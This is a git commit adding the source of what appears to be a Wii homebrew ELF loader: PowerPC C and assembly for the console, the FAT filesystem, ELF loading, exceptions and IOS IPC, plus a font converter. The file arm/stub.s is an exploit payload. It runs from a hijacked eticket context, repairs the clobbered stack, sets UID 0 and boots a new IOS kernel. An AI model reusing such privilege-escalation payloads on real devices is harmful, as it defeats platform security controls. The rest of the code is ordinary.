Initial commit

This commit is contained in:
Dexter Gerig 2020-02-13 23:56:26 -06:00
commit a14a1984ef
23 changed files with 2384 additions and 0 deletions

5
.gitignore vendored Normal file
View File

@ -0,0 +1,5 @@
font.c
version.c
loader.elf
loader.bin

66
Makefile Normal file
View File

@ -0,0 +1,66 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
CROSS ?= powerpc-eabi-
ifeq ($(origin CC), default)
CC := $(CROSS)gcc -m32
endif
ifeq ($(origin LD), default)
LD := $(CROSS)ld
endif
OBJCOPY ?= $(CROSS)objcopy
CFLAGS := -Wall -W -O2 -ffreestanding -std=gnu99 -Wstrict-aliasing=2 \
-mno-eabi -mno-sdata -mcpu=750
targets := loader.bin
objs := crt0.o main.o string.o video.o ios.o sd.o fat.o elf.o sync.o font.o \
console.o exception.o exception_2200.o usbgecko.o time.o version.o
ppms := font.ppm
ifeq ($(V),1)
Q :=
else
Q := @
MAKEFLAGS += --no-print-directory
endif
all: $(targets)
$(targets): %.bin: %.elf
@echo " OBJCOPY $@"
$(Q)$(OBJCOPY) -O binary $< $@
elfs := $(targets:.bin=.elf)
$(elfs): %.elf: %.lds $(objs)
@echo " LINK $@"
$(Q)$(LD) $(LDFLAGS) -n -T $^ -o $@
%.o: %.c loader.h
@echo " COMPILE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
crt0.o exception_2200.o: %.o: %.s
@echo " ASSEMBLE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
$(ppms): %.ppm: %.png
@echo " PPM $@"
$(Q)convert $< $@
font.c: %.c: %.ppm font2c.pl
@echo " FONT2C $@"
$(Q)perl font2c.pl < $*.ppm > $@
FORCE:
clean:
rm -rf $(objs) $(targets) $(elfs) font.c

11
arm/Makefile Normal file
View File

@ -0,0 +1,11 @@
PREFIX := arm-none-eabi
AS := $(PREFIX)-as
OBJCOPY := $(PREFIX)-objcopy
.PHONY: all clean
all:
$(AS) -mbig-endian -mcpu=arm926ej-s stub.s -o stub.elf
$(OBJCOPY) -O binary stub.elf stub.bin
xxd -i stub.bin ../stub.h
clean:
rm -rf *.bin *.elf

53
arm/stub.s Normal file
View File

@ -0,0 +1,53 @@
# stub.s
# We enter from (eticket) context, in THUMB mode at 0x00010001.
.thumb
.thumb_func
__start:
add r1, pc, #0x0c
bx r1
.word 0, 0, 0
.arm
__arm_start:
# Fix the two words we clobbered on the stack
ldr r1, =0x1c0
str r1, [sp]
ldr r1, =0x20100869
str r1, [sp, #-4]
# Make sure we are UID 0
mov r0, #1
mov r1, #0
bl __syscall_set_uid
# Invalidate the armboot.bin
ldr r0, =0x00040000
ldr r1, =0x80000
bl __syscall_ios_invalidatedcache
# And go!
ldr r0, =0x00040000
ldr r1, =0xdeadbeef
bl __syscall_boot_new_ios_kernel
restore_state:
# This shouldn't happen but if it does try out best to recover
# Return -1337 to PPC-land
ldr r0, =0xfffffac7
# Return to the original saved LR that we clobbered
ldr r3, =0x20100869
mov lr, r3
bx lr
# Syscall table
__syscall_set_uid:
.word 0xe6000570
bx lr
__syscall_ios_invalidatedcache:
.word 0xe60007f0
bx lr
__syscall_boot_new_ios_kernel:
.word 0xe6000870
bx lr

153
console.c Normal file
View File

@ -0,0 +1,153 @@
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include <stdarg.h>
#include "loader.h"
static void put(char c)
{
fb_putc(c);
usbgecko_console_putc(c);
}
// __umoddi3() and friends are very big, and more general than we need:
// radix is always (very) small, so we can work by much bigger chunks
// than single bits, always.
static int extract_dig(u64 *x, u32 radix)
{
u32 hi = *x >> 32;
u32 lo = *x;
u32 mod = hi % radix;
hi /= radix;
u32 n = (mod << 16) | (lo >> 16);
mod = n % radix;
n /= radix;
lo = (mod << 16) | (lo & 0xffff);
mod = lo % radix;
lo /= radix;
lo |= (n << 16);
*x = ((u64)hi << 32) | lo;
return mod;
}
// This implements conversions %{0}{number}{l,ll}[%cdsux] only.
// Field length is obeyed for numbers only.
// Always returns 0.
int printf(const char *restrict format, ...)
{
va_list ap;
va_start(ap, format);
while (*format) {
if (*format != '%') {
put(*format++);
continue;
}
format++;
int zero = 0;
int prec = 0;
if (*format == '0') {
zero = 1;
format++;
}
while (*format >= '0' && *format <= '9')
prec = 10*prec + (*format++ - '0');
int ll = 0;
while (*format == 'l') {
ll++;
format++;
}
int radix = 10;
int is_signed = 1;
switch (*format++) {
case '%':
put('%');
break;
case 'c':
put(va_arg(ap, int));
break;
case 's':
;
char *s = va_arg(ap, char *);
while (*s)
put(*s++);
break;
case 'x':
radix = 16;
case 'u':
is_signed = 0;
case 'd':
;
u64 x;
if (is_signed) {
if (ll == 0)
x = va_arg(ap, int);
else if (ll == 1)
x = va_arg(ap, long);
else
x = va_arg(ap, long long);
} else {
if (ll == 0)
x = va_arg(ap, unsigned int);
else if (ll == 1)
x = va_arg(ap, unsigned long);
else
x = va_arg(ap, unsigned long long);
}
if (is_signed) {
if ((long long)x < 0)
x = -x;
else
is_signed = 0;
}
char hold[22];
char *hld = &hold[sizeof hold];
*--hld = 0;
int len = 0;
do {
int dig = extract_dig(&x, radix);
if (dig >= 10)
dig += 'a' - 10;
else
dig += '0';
*--hld = dig;
len++;
} while (x);
if (is_signed)
*--hld = '-';
while (len < prec) {
put(zero ? '0' : ' ');
len++;
}
while (*hld)
put(*hld++);
}
}
va_end(ap);
return 0;
}

25
crt0.s Normal file
View File

@ -0,0 +1,25 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.globl _start
_start:
# Disable interrupts, enable FP.
mfmsr 3 ; rlwinm 3,3,0,17,15 ; ori 3,3,0x2000 ; mtmsr 3 ; isync
# Setup stack.
lis 1,_stack_top@ha ; addi 1,1,_stack_top@l ; li 0,0 ; stwu 0,-64(1)
# Clear BSS.
lis 3,__bss_start@ha ; addi 3,3,__bss_start@l
li 4,0
lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3
bl memset
# Go!
bl main
# If it returns, hang. Shouldn't happen.
b .

47
elf.c Normal file
View File

@ -0,0 +1,47 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Determine if a valid ELF image exists at the given memory location.
int valid_elf_image(void *addr)
{
u32 *header = addr;
return header[0] == 0x7f454c46 // ELF
&& header[1] == 0x01020100 // 32-bit, BE, ELF v1, SVR
&& header[4] == 0x00020014 // executable, PowerPC
&& header[5] == 1 // object file v1
&& (header[10] & 0xffff) == 32; // PHDR size
}
// Returns the entry point address.
void *load_elf_image(void *addr)
{
u32 *header = addr;
u32 *phdr = addr + header[7];
u32 n = header[11] >> 16;
u32 i;
for (i = 0; i < n; i++, phdr += 8) {
if (phdr[0] != 1) // PT_LOAD
continue;
u32 off = phdr[1];
void *dest = (void *)phdr[3];
u32 filesz = phdr[4];
u32 memsz = phdr[5];
memcpy(dest, addr + off, filesz);
memset(dest + filesz, 0, memsz - filesz);
sync_before_exec(dest, memsz);
}
return (void *)header[6];
}

54
exception.c Normal file
View File

@ -0,0 +1,54 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
extern char exception_2200_start, exception_2200_end;
void exception_handler(int exception)
{
u32 *x;
u32 i;
printf("\nException %04x occurred!\n", exception);
x = (u32 *)0x80002000;
printf("\n R0..R7 R8..R15 R16..R23 R24..R31\n");
for (i = 0; i < 8; i++) {
printf("%08x %08x %08x %08x\n", x[0], x[8], x[16], x[24]);
x++;
}
x += 24;
printf("\n CR/XER LR/CTR SRR0/SRR1 DAR/DSISR\n");
for (i = 0; i < 2; i++) {
printf("%08x %08x %08x %08x\n", x[0], x[2], x[4], x[6]);
x++;
}
// Hang.
for (;;)
;
}
void exception_init(void)
{
u32 vector;
u32 len_2200;
for (vector = 0x100; vector < 0x2000; vector += 0x10) {
u32 *insn = (u32 *)(0x80000000 + vector);
insn[0] = 0xbc002000; // stmw 0,0x2000(0)
insn[1] = 0x38600000 | (u32)vector; // li 3,vector
insn[2] = 0x48002202; // ba 0x2200
insn[3] = 0;
}
sync_before_exec((void *)0x80000100, 0x1f00);
len_2200 = &exception_2200_end - &exception_2200_start;
memcpy((void *)0x80002200, &exception_2200_start, len_2200);
sync_before_exec((void *)0x80002200, len_2200);
}

24
exception_2200.s Normal file
View File

@ -0,0 +1,24 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.globl exception_2200_start, exception_2200_end
exception_2200_start:
# store all interesting regs
mfcr 0 ; stw 0,0x2080(0)
mfxer 0 ; stw 0,0x2084(0)
mflr 0 ; stw 0,0x2088(0)
mfctr 0 ; stw 0,0x208c(0)
mfsrr0 0 ; stw 0,0x2090(0)
mfsrr1 0 ; stw 0,0x2094(0)
mfdar 0 ; stw 0,0x2098(0)
mfdsisr 0 ; stw 0,0x209c(0)
# switch on FP, DR, IR
mfmsr 0 ; ori 0,0,0x2030 ; mtsrr1 0
# go to C handler
lis 0,exception_handler@h ; ori 0,0,exception_handler@l ; mtsrr0 0
rfi
exception_2200_end:

425
fat.c Normal file
View File

@ -0,0 +1,425 @@
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
#ifdef FAT_TEST
#include <stdio.h>
#endif
#define RAW_BUF 0x200
static u8 raw_buf[RAW_BUF] __attribute__((aligned(32)));
static int raw_read(u32 sector)
{
static u32 current = -1;
if (current == sector)
return 0;
current = sector;
return sd_read_sector(raw_buf, sector);
}
static u64 partition_start_offset;
static int read(u8 *data, u64 offset, u32 len)
{
offset += partition_start_offset;
while (len) {
u32 buf_off = offset % RAW_BUF;
u32 n;
n = RAW_BUF - buf_off;
if (n > len)
n = len;
int err = raw_read(offset / RAW_BUF);
if (err)
return err;
memcpy(data, raw_buf + buf_off, n);
data += n;
offset += n;
len -= n;
}
return 0;
}
static u32 bytes_per_cluster;
static u32 root_entries;
static u32 clusters;
static u32 fat_type; // 12, 16, or 32
static u64 fat_offset;
static u64 root_offset;
static u64 data_offset;
static u32 get_fat(u32 cluster)
{
u8 fat[4];
u32 offset_bits = cluster*fat_type;
int err = read(fat, fat_offset + offset_bits/8, 4);
if (err)
return 0;
u32 res = le32(fat) >> (offset_bits % 8);
res &= (1 << fat_type) - 1;
res &= 0x0fffffff; // for FAT32
return res;
}
static u64 extent_offset;
static u32 extent_len;
static u32 extent_next_cluster;
static void get_extent(u32 cluster)
{
extent_len = 0;
extent_next_cluster = 0;
if (cluster == 0) { // Root directory.
if (fat_type != 32) {
extent_offset = root_offset;
extent_len = 0x20*root_entries;
return;
}
cluster = root_offset;
}
if (cluster - 2 >= clusters)
return;
extent_offset = data_offset + (u64)bytes_per_cluster*(cluster - 2);
for (;;) {
extent_len += bytes_per_cluster;
u32 next_cluster = get_fat(cluster);
if (next_cluster - 2 >= clusters)
break;
if (next_cluster != cluster + 1) {
extent_next_cluster = next_cluster;
break;
}
cluster = next_cluster;
}
}
static int read_extent(u8 *data, u32 len)
{
while (len) {
if (extent_len == 0)
return -1;
u32 this = len;
if (this > extent_len)
this = extent_len;
int err = read(data, extent_offset, this);
if (err)
return err;
extent_offset += this;
extent_len -= this;
data += this;
len -= this;
if (extent_len == 0 && extent_next_cluster)
get_extent(extent_next_cluster);
}
return 0;
}
int fat_read(void *data, u32 len)
{
return read_extent(data, len);
}
static u8 fat_name[11];
static u8 ucase(char c)
{
if (c >= 'a' && c <= 'z')
return c - 'a' + 'A';
return c;
}
static const char *parse_component(const char *path)
{
u32 i = 0;
while (*path == '/')
path++;
while (*path && *path != '/' && *path != '.') {
if (i < 8)
fat_name[i++] = ucase(*path);
path++;
}
while (i < 8)
fat_name[i++] = ' ';
if (*path == '.')
path++;
while (*path && *path != '/') {
if (i < 11)
fat_name[i++] = ucase(*path);
path++;
}
while (i < 11)
fat_name[i++] = ' ';
if (fat_name[0] == 0xe5)
fat_name[0] = 0x05;
return path;
}
u32 fat_file_size;
int fat_open(const char *name)
{
u32 cluster = 0;
while (*name) {
get_extent(cluster);
name = parse_component(name);
while (extent_len) {
u8 dir[0x20];
int err = read_extent(dir, 0x20);
if (err)
return err;
if (dir[0] == 0)
return -1;
if (dir[0x0b] & 0x08) // volume label or LFN
continue;
if (dir[0x00] == 0xe5) // deleted file
continue;
if (!!*name != !!(dir[0x0b] & 0x10)) // dir vs. file
continue;
if (memcmp(fat_name, dir, 11) == 0) {
cluster = le16(dir + 0x1a);
if (fat_type == 32)
cluster |= le16(dir + 0x14) << 16;
if (*name == 0) {
fat_file_size = le32(dir + 0x1c);
get_extent(cluster);
return 0;
}
break;
}
}
}
return -1;
}
#ifdef FAT_TEST
static void print_dir_entry(u8 *dir)
{
int i, n;
if (dir[0x0b] & 0x08) // volume label or LFN
return;
if (dir[0x00] == 0xe5) // deleted file
return;
if (fat_type == 32) {
fprintf(stderr, "#%04x", le16(dir + 0x14));
fprintf(stderr, "%04x ", le16(dir + 0x1a));
} else
fprintf(stderr, "#%04x ", le16(dir + 0x1a)); // start cluster
u16 date = le16(dir + 0x18);
fprintf(stderr, "%04d-%02d-%02d ", 1980 + (date >> 9), (date >> 5) & 0x0f, date & 0x1f);
u16 time = le16(dir + 0x16);
fprintf(stderr, "%02d:%02d:%02d ", time >> 11, (time >> 5) & 0x3f, 2*(time & 0x1f));
fprintf(stderr, "%10d ", le32(dir + 0x1c)); // file size
u8 attr = dir[0x0b];
for (i = 0; i < 6; i++)
fprintf(stderr, "%c", (attr & (1 << i)) ? "RHSLDA"[i] : ' ');
fprintf(stderr, " ");
for (n = 8; n && dir[n - 1] == ' '; n--)
;
for (i = 0; i < n; i++)
fprintf(stderr, "%c", dir[i]);
for (n = 3; n && dir[8 + n - 1] == ' '; n--)
;
if (n) {
fprintf(stderr, ".");
for (i = 0; i < n; i++)
fprintf(stderr, "%c", dir[8 + i]);
}
fprintf(stderr, "\n");
}
int print_dir(u32 cluster)
{
u8 dir[0x20];
get_extent(cluster);
while (extent_len) {
int err = read_extent(dir, 0x20);
if (err)
return err;
if (dir[0] == 0)
break;
print_dir_entry(dir);
}
return 0;
}
#endif
static int fat_init_fs(const u8 *sb)
{
u32 bytes_per_sector = le16(sb + 0x0b);
u32 sectors_per_cluster = sb[0x0d];
bytes_per_cluster = bytes_per_sector * sectors_per_cluster;
u32 reserved_sectors = le16(sb + 0x0e);
u32 fats = sb[0x10];
root_entries = le16(sb + 0x11);
u32 total_sectors = le16(sb + 0x13);
u32 sectors_per_fat = le16(sb + 0x16);
// For FAT16 and FAT32:
if (total_sectors == 0)
total_sectors = le32(sb + 0x20);
// For FAT32:
if (sectors_per_fat == 0)
sectors_per_fat = le32(sb + 0x24);
// XXX: For FAT32, we might want to look at offsets 28, 2a
// XXX: We _do_ need to look at 2c
u32 fat_sectors = sectors_per_fat * fats;
u32 root_sectors = (0x20*root_entries + bytes_per_sector - 1)
/ bytes_per_sector;
u32 fat_start_sector = reserved_sectors;
u32 root_start_sector = fat_start_sector + fat_sectors;
u32 data_start_sector = root_start_sector + root_sectors;
clusters = (total_sectors - data_start_sector) / sectors_per_cluster;
if (clusters < 0x0ff5)
fat_type = 12;
else if (clusters < 0xfff5)
fat_type = 16;
else
fat_type = 32;
fat_offset = (u64)bytes_per_sector*fat_start_sector;
root_offset = (u64)bytes_per_sector*root_start_sector;
data_offset = (u64)bytes_per_sector*data_start_sector;
if (fat_type == 32)
root_offset = le32(sb + 0x2c);
#ifdef FAT_TEST
fprintf(stderr, "bytes_per_sector = %08x\n", bytes_per_sector);
fprintf(stderr, "sectors_per_cluster = %08x\n", sectors_per_cluster);
fprintf(stderr, "bytes_per_cluster = %08x\n", bytes_per_cluster);
fprintf(stderr, "root_entries = %08x\n", root_entries);
fprintf(stderr, "clusters = %08x\n", clusters);
fprintf(stderr, "fat_type = %08x\n", fat_type);
fprintf(stderr, "fat_offset = %012llx\n", fat_offset);
fprintf(stderr, "root_offset = %012llx\n", root_offset);
fprintf(stderr, "data_offset = %012llx\n", data_offset);
#endif
return 0;
}
static int is_fat_fs(const u8 *sb)
{
// Bytes per sector should be 512, 1024, 2048, or 4096
u32 bps = le16(sb + 0x0b);
if (bps < 0x0200 || bps > 0x1000 || bps & (bps - 1))
return 0;
// Media type should be f0 or f8,...,ff
if (sb[0x15] < 0xf8 && sb[0x15] != 0xf0)
return 0;
// If those checks didn't fail, it's FAT. We hope.
return 1;
}
int fat_init(void)
{
u8 buf[0x200];
int err;
partition_start_offset = 0;
err = read(buf, 0, 0x200);
if (err)
return err;
if (le16(buf + 0x01fe) != 0xaa55) // Not a DOS disk.
return -1;
if (is_fat_fs(buf))
return fat_init_fs(buf);
// Maybe there's a partition table? Let's try the first partition.
if (buf[0x01c2] == 0)
return -1;
partition_start_offset = 0x200ULL*le32(buf + 0x01c6);
err = read(buf, 0, 0x200);
if (err)
return err;
if (is_fat_fs(buf))
return fat_init_fs(buf);
return -1;
}

BIN
font.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.5 KiB

BIN
font.ppm Normal file

Binary file not shown.

60
font2c.pl Executable file
View File

@ -0,0 +1,60 @@
#!/usr/bin/perl
# Read PPM file.
$sig = <>; chomp $sig;
$sizes = <>; chomp $sizes;
$cols = <>; chomp $cols;
{
local $/;
$data = <>;
}
# Sanity check.
$sig ne "P6" and die;
$sizes ne "90 256" and die;
$cols ne "255" and die;
(length $data) != 3 * 90 * 256 and die;
# Output header.
print "// GENERATED FILE DO NOT EDIT\n";
print "\n";
print "#include \"loader.h\"\n";
print "\n";
print "const u8 console_font_10x16x4[96*80] = {\n";
# Output data.
for my $ch (2..7) {
for my $cl (0..15) {
printf "\n\t// %x%x\n", $ch, $cl;
for my $py (0..15) {
print "\t";
for my $px (0..9) {
my $hor = $px + 10*($ch - 2);
my $ver = $py + 16*$cl;
my $wot = $hor + 90*$ver;
my $bytes = substr($data, 3*$wot, 3);
my $nyb = int ((ord $bytes) / 16);
if (($px & 1) == 0) {
printf "0x%x", $nyb;
} else {
printf "%x,", $nyb;
}
}
print "\n";
}
}
}
# Output footer.
print "\n";
print "};\n";

377
ios.c Normal file
View File

@ -0,0 +1,377 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Low-level IPC access.
static u32 ipc_read(u32 reg)
{
return read32(0x0d000000 + 4*reg);
}
static void ipc_write(u32 reg, u32 value)
{
write32(0x0d000000 + 4*reg, value);
}
static void ipc_bell(u32 w)
{
ipc_write(1, (ipc_read(1) & 0x30) | w);
}
static void ipc_wait_ack(void)
{
while ((ipc_read(1) & 0x22) != 0x22)
;
}
static void ipc_wait_reply(void)
{
while ((ipc_read(1) & 0x14) != 0x14)
;
}
static void ipc_irq_ack(void)
{
ipc_write(12, 0x40000000);
}
// Mid-level IPC access.
static struct {
u32 cmd;
int result;
int fd;
u32 arg[5];
u32 user[8];
} ipc __attribute__((aligned(64)));
static void ipc_send_request(void)
{
sync_after_write(&ipc, 0x40);
ipc_write(0, virt_to_phys(&ipc));
ipc_bell(1);
ipc_wait_ack();
ipc_bell(2);
ipc_irq_ack();
}
static void ipc_recv_reply(void)
{
for (;;) {
u32 reply;
ipc_wait_reply();
reply = ipc_read(2);
ipc_bell(4);
ipc_irq_ack();
ipc_bell(8);
if (reply == virt_to_phys(&ipc))
break;
}
sync_before_read(&ipc, sizeof ipc);
}
// High-level IPC access.
int ios_open(const char *filename, u32 mode)
{
sync_after_write(filename, strlen(filename) + 1);
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 1;
ipc.fd = 0;
ipc.arg[0] = virt_to_phys(filename);
ipc.arg[1] = mode;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
int ios_close(int fd)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 2;
ipc.fd = fd;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
#if 0
int ios_read(int fd, void *data, u32 len)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 3;
ipc.fd = fd;
ipc.arg[0] = virt_to_phys(data);
ipc.arg[1] = len;
ipc_send_request();
ipc_recv_reply();
if (data)
sync_before_read(data, len);
return ipc.result;
}
int ios_seek(int fd, int where, int whence)
{
memset(&ipc, 0, sizeof ipc);
ipc.cmd = 5;
ipc.fd = fd;
ipc.arg[0] = where;
ipc.arg[1] = whence;
ipc_send_request();
ipc_recv_reply();
return ipc.result;
}
#endif
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen)
{
memset(&ipc, 0, sizeof ipc);
if (in)
sync_after_write(in, inlen);
if (out)
sync_after_write(out, outlen);
ipc.cmd = 6;
ipc.fd = fd;
ipc.arg[0] = n;
ipc.arg[1] = virt_to_phys(in);
ipc.arg[2] = inlen;
ipc.arg[3] = virt_to_phys(out);
ipc.arg[4] = outlen;
ipc_send_request();
ipc_recv_reply();
if (out)
sync_before_read(out, outlen);
return ipc.result;
}
int __ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec, int wait_for_reply) {
u32 i;
memset(&ipc, 0, sizeof ipc);
for (i = 0; i < in_count + out_count; i++)
if (vec[i].data) {
sync_after_write(vec[i].data, vec[i].len);
vec[i].data = (void *)virt_to_phys(vec[i].data);
}
sync_after_write(vec, (in_count + out_count) * sizeof *vec);
ipc.cmd = 7;
ipc.fd = fd;
ipc.arg[0] = n;
ipc.arg[1] = in_count;
ipc.arg[2] = out_count;
ipc.arg[3] = virt_to_phys(vec);
ipc_send_request();
if (wait_for_reply) {
ipc_recv_reply();
} else {
return 0;
}
for (i = in_count; i < in_count + out_count; i++)
if (vec[i].data) {
vec[i].data = phys_to_virt((u32)vec[i].data);
sync_before_read(vec[i].data, vec[i].len);
}
return ipc.result;
}
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec)
{
__ios_ioctlv(fd, n, in_count, out_count, vec, 1);
}
// We don't really need the fields but it's just easier to copy them.
// Taken from https://github.com/devkitPro/libogc/blob/master/gc/ogc/es.h
typedef struct _tiklimit {
u32 tag;
u32 value;
} __attribute__((packed)) tiklimit;
typedef struct _tikview {
u32 view;
u64 ticketid;
u32 devicetype;
u64 titleid;
u16 access_mask;
u8 reserved[0x3c];
u8 cidx_mask[0x40];
u16 padding;
tiklimit limits[8];
} __attribute__((packed)) tikview;
#define MAX_IPC_RETRIES 400
// Written from __IOS_LaunchNewIOS of https://github.com/devkitPro/libogc/blob/master/libogc/ios.c
int ios_reload(int version) {
int ret = 0;
int es_fd = ios_open("/dev/es", 0);
if (es_fd < 0) {
printf("Failed to open ES: %d\n", es_fd);
return es_fd;
}
STACK_ALIGN(struct ioctlv, vec, 3, 32);
STACK_ALIGN(u64, titleID, 1, 32);
STACK_ALIGN(u32, view_count, 1, 32);
STACK_ALIGN(tikview, views, 4, 32);
*titleID = 0x100000000LL | version;
vec[0].data = titleID;
vec[0].len = 8;
vec[1].data = view_count;
vec[1].len = 4;
// Do ES_GetNumTicketViews
ret = ios_ioctlv(es_fd, 0x12, 1, 1, vec);
if (ret < 0) {
printf("ios_ioctlv failed on ES_GetNumTicketViews: %d\n", ret);
return ret;
}
if (*view_count > 4 || *view_count < 1) {
printf("Invalid number of views: %d\n", *view_count);
return -1;
}
vec[0].data = titleID;
vec[0].len = 8;
vec[1].data = view_count;
vec[1].len = 4;
vec[2].data = views;
vec[2].len = sizeof(tikview) * (*view_count);
// Do ES_GetTicketViews
ret = ios_ioctlv(es_fd, 0x13, 2, 1, vec);
if (ret < 0) {
printf("ios_ioctlv failed on ES_GetTicketViews: %d\n", ret);
return ret;
}
write32(0x80003140, 0);
vec[0].data = titleID;
vec[0].len = 8;
vec[1].data = &views[0];
vec[1].len = sizeof(tikview);
// Do ES_LaunchTitleBackground
ret = __ios_ioctlv(es_fd, 0x8, 2, 0, vec, 0);
if (ret < 0) {
printf("ios_ioctlv failed on ES_LaunchTitleBackground: %d\n", ret);
return ret;
}
printf("Waiting for IPC startup... ");
for (int counter = 0; !(read32(0x0d000004) & 2); counter++) {
udelay(10000);
if (counter >= MAX_IPC_RETRIES) {
printf("FAIL!\n");
return -1;
}
}
printf("OK.\n");
ipc_write(1,56);
return 0;
}
// Cleanup any old state.
static void ipc_cleanup_reply(void)
{
if ((ipc_read(1) & 0x14) != 0x14)
return;
ipc_read(2);
ipc_bell(4);
ipc_irq_ack();
ipc_bell(8);
}
static void ipc_cleanup_request(void)
{
if ((ipc_read(1) & 0x22) == 0x22)
ipc_bell(2);
}
static void release_old_stm_callback(void)
{
*((u32 *)0x80000018) = 0x00000014;
sync_after_write((void*)0x80000014, 8);
int fd = ios_open("/dev/stm/immediate",0);
if (fd < 0) {
printf("STM Immediate open failed!\n");
return;
}
int err = ios_ioctl(fd, 0x3002, 0, 0, 0, 0);
if (err < 0 && err != -6)
printf("Eventhook release failed with code %d\n", err);
ios_close(fd);
}
void reset_ios(void)
{
int i;
//printf("Flushing IPC transactions");
for (i = 0; i < 10; i++) {
ipc_cleanup_request();
ipc_cleanup_reply();
ipc_irq_ack();
udelay(1000);
//printf(".");
}
//printf(" Done.\n");
//printf("Closing file descriptors...");
for (i = 0; i < 32; i++)
ios_close(i);
//printf(" Done.\n");
release_old_stm_callback();
}

179
loader.h Normal file
View File

@ -0,0 +1,179 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#ifndef _LOADER_H
#define _LOADER_H
#include <stddef.h>
// String functions.
size_t strlen(const char *);
size_t strnlen(const char *, size_t);
void *memset(void *, int, size_t);
void *memcpy(void *, const void *, size_t);
int memcmp(const void *, const void *, size_t);
// Basic types.
typedef unsigned char u8;
typedef unsigned short int u16;
typedef unsigned int u32;
typedef unsigned long long int u64;
static inline u16 le16(const u8 *p)
{
return p[0] | (p[1] << 8);
}
static inline u32 le32(const u8 *p)
{
return p[0] | (p[1] << 8) | (p[2] << 16) | (p[3] << 24);
}
// Helper macros
// courtesy of Marcan
#define STACK_ALIGN(type, name, cnt, alignment) u8 _al__##name[((sizeof(type)*(cnt)) + (alignment) + (((sizeof(type)*(cnt))%(alignment)) > 0 ? ((alignment) - ((sizeof(type)*(cnt))%(alignment))) : 0))]; \
type *name = (type*)(((u32)(_al__##name)) + ((alignment) - (((u32)(_al__##name))&((alignment)-1))))
// Basic I/O.
static inline u32 read32(u32 addr)
{
u32 x;
asm volatile("lwz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write32(u32 addr, u32 x)
{
asm("stw %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
static inline u16 read16(u32 addr)
{
u16 x;
asm volatile("lhz %0,0(%1) ; sync" : "=r"(x) : "b"(0xc0000000 | addr));
return x;
}
static inline void write16(u32 addr, u16 x)
{
asm("sth %0,0(%1) ; eieio" : : "r"(x), "b"(0xc0000000 | addr));
}
// Address mapping.
static inline u32 virt_to_phys(const void *p)
{
return (u32)p & 0x7fffffff;
}
static inline void *phys_to_virt(u32 x)
{
return (void *)(x | 0x80000000);
}
// Cache synchronisation.
void sync_before_read(void *p, u32 len);
void sync_after_write(const void *p, u32 len);
void sync_before_exec(const void *p, u32 len);
// Time.
void udelay(u32 us);
// Special purpose registers.
#define mtspr(n, x) do { asm("mtspr %1,%0" : : "r"(x), "i"(n)); } while (0)
#define mfspr(n) ({ \
u32 x; asm volatile("mfspr %0,%1" : "=r"(x) : "i"(n)); x; \
})
// Exceptions.
void exception_init(void);
// USB Gecko.
void usbgecko_init(void);
int usbgecko_checkgecko(void);
void usbgecko_console_putc(u8 c);
u8 usbgecko_flash_read8(u32 offset);
u32 usbgecko_flash_read32(u32 offset);
// Version string.
extern const char version[];
// Video.
void video_init(void);
void fb_putc(char);
// Console.
void console_init(void);
int printf(const char *fmt, ...);
// SD card.
int sd_init(void);
int sd_read_sector(u8 *data, u32 offset);
int sd_close(void);
// FAT.
int fat_init(void);
int fat_open(const char *name);
int fat_read(void *data, u32 len);
// ELF.
int valid_elf_image(void *addr);
void *load_elf_image(void *addr);
// IOS.
struct ioctlv {
void *data;
u32 len;
};
int ios_open(const char *filename, u32 mode);
int ios_close(int fd);
int ios_read(int fd, void *data, u32 len);
int ios_write(int fd, const void *data, u32 len);
int ios_seek(int fd, int where, int whence);
int ios_ioctl(int fd, u32 n, const void *in, u32 inlen, void *out, u32 outlen);
int ios_ioctlv(int fd, u32 n, u32 in_count, u32 out_count, struct ioctlv *vec);
int ios_reload(int version);
void reset_ios(void);
#endif

27
loader.lds Normal file
View File

@ -0,0 +1,27 @@
